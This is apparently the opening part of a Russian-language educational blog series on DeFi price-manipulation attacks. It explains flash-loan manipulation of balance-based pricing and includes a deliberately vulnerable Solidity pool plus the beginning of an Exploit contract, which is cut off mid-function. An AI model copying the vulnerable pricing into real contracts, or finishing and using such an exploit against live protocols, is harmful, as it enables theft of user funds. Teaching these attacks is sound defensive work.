Атаки с манипулированием ценами. Часть 1

На прошлой неделе мы немного отошли от основной темы, а сейчас самое время продолжить разбирать новые атаки.

Сегодня мы углубимся в тему атак с манипулированием ценами.

Эти атаки являются распространенной угрозой в децентрализованных финансах (DeFi), использующей уязвимости в протоколах для искусственного искажения цен на активы с целью получения незаконной прибыли. Только в 2024 году эти атаки привели к убыткам на сумму более 52 миллионов долларов в 37 инцидентах, что делает их вторым по ущербу вектором атак. Злоумышленники часто используют флэш-кредиты или уязвимости оракулов для создания ценовых диспропорций, что влияет на такие критически важные компоненты, как кредитные платформы, децентрализованные биржи (DEX) и стейблкоины.

Как цена рассчитывается по соотношению балансов токенов?

Расчет цен на основе балансов токенов в рамках одного контракта кажется простым: соотношение токена A к токену B в пуле определяет цену. Однако злоумышленники могут временно изменить эти балансы с помощью флэш-кредитов или прямых пожертвований, вызывая резкие колебания цен. Ранее мы обсуждали, как злоумышленники могут манипулировать состоянием протокола с помощью атак с помощью пожертвований, которые часто основаны на искажении внутренних балансов, чтобы повлиять на такие значения, как «цена акции». Флэш-кредиты используют аналогичные принципы, позволяя злоумышленникам временно манипулировать балансами базовых токенов, используемых для ценообразования в рамках одной транзакции.

Давайте рассмотрим, как злоумышленник использует простую DEX, где цена определяется непосредственно на основе балансов токенов.

// Pool.sol (Simplified for illustration)
// Represents a simple liquidity pool vulnerable to balance manipulation
contract Pool is FlashLoanProvider { // Assume FlashLoanProvider is implemented elsewhere
    IERC20 public immutable tokenA;
    IERC20 public immutable tokenB;


    constructor(IERC20 _tokenA, IERC20 _tokenB) {
        tokenA = _tokenA;
        tokenB = _tokenB;
    }


    // Simplified swap function
    function swap(IERC20 tokenIn, uint256 amountIn) external returns (uint256 amountOut) {
        require(tokenIn == tokenA || tokenIn == tokenB, "invalid token");
        IERC20 tokenOut = tokenIn == tokenA ? tokenB : tokenA;


        // Transfer tokens in
        require(tokenIn.transferFrom(msg.sender, address(this), amountIn), "transfer in failed");


        // Calculate amount out based on price
        uint256 price = getPrice(tokenIn, tokenOut);
        amountOut = amountIn * price / 1e18;


        // Transfer tokens out
        require(tokenOut.transfer(msg.sender, amountOut), "transfer out failed");


        return amountOut;
    }


    // Vulnerable price calculation based on current pool balances
    function getPrice(IERC20 tokenIn, IERC20 tokenOut) public view returns (uint256) {
        uint256 balIn = tokenIn.balanceOf(address(this));
        uint256 balOut = tokenOut.balanceOf(address(this));


        if (balIn == 0 || balOut == 0) {
            return 1e18; // 1:1 initial price
        }


        // Price is the ratio of output token to input token
        return balOut * 1e18 / balIn;
    }


    // ... (flashLoanExternal and FlashLoanProvider logic assumed) ...
}


// Exploit.sol (Simplified for illustration)
// Contract to execute the flash loan and exploit
contract Exploit is IFlashLoanReceiver {
    Pool public pool;
    IERC20 public tokenA;
    IERC20 public tokenB;
    address public attacker;


    constructor(
        Pool _pool,
        IERC20 _tokenA,
        IERC20 _tokenB,
        address _attacker
    ) {
        pool = _pool;
        tokenA = _tokenA;
        tokenB = _tokenB;
        attacker = _attacker;
    }


    function attack(uint256 loanAmount) external {
        // Get the flashloan of tokenA
        pool.flashLoanExternal(address(this), tokenA, loanAmount);
    }


    function receiveFlashLoan(IERC20 token, uint256 loanAmount) external override {
        require(token == tokenA, "Expected tokenA flash loan");